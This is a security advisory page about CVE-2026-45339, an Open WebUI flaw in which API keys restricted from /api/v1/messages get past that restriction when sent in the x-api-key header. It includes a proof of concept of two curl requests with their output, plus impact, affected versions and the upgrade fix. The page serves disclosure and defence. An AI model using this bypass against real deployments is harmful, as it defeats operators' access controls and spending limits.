CVE-2026-45339: Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Published May 14, 2026
·
Updated

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

bash APIKEY="sk-dc56016d720e49ba9e95584d602b79bb"

Test 1: Authorization header — BLOCKED (endpoint restriction enforced) curl -s -X POST http://target:8080/api/v1/messages \ -H "Authorization: Bearer $APIKEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

Test 2: x-api-key header — BYPASS (same key, restriction skipped) curl -s -X POST http://target:8080/api/v1/messages \ -H "x-api-key: $APIKEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

Authorization header: {"detail":"API key not allowed to access this endpoint."}

x-api-key header (SAME key): {"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"inputtokens":1,"outputtokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:

- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses - Keys restricted from admin endpoints may access admin functionality - The operator's intended access control is silently ineffective - API credit spend cannot be controlled through endpoint restrictions

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. This vulnerability is fixed in 0.9.0.

— MITRE

Affected Software

3 affected componentsFixes available
pip/open-webu<=0.8.12
0.9.0
openwebui Open WebUI<0.9.0
pip/open-webui<0.9.0
0.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/open-webu to a version that resolves this vulnerability.

    Fixed in 0.9.0
  2. Upgrade

    Upgrade pip/open-webui to a version that resolves this vulnerability.

    Fixed in 0.9.0
  3. Upgrade

    Upgrade Open WebUI to a version that resolves this vulnerability.

    Fixed in 0.9.0

Event History

May 14, 2026
Advisory Published
via GitHub·08:21 PM
Data Sourced
via GitHub·08:21 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·07:21 PM
Data Sourced
via MITRE·07:21 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-45339?

The severity of CVE-2026-45339 is medium with a score of 6.5.

2

What does CVE-2026-45339 affect?

CVE-2026-45339 affects the Open WebUI software and allows bypassing API key endpoint restrictions.

3

How do I fix CVE-2026-45339?

To fix CVE-2026-45339, ensure that all API endpoints validate access permissions for the `x-api-key` header appropriately.

4

What is the impact of CVE-2026-45339?

The impact of CVE-2026-45339 is that it allows unauthorized access to restricted endpoints using valid API keys.

5

How can CVE-2026-45339 be exploited?

CVE-2026-45339 can be exploited by sending requests to restricted API endpoints using the `x-api-key` header instead of the `Authorization` header.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203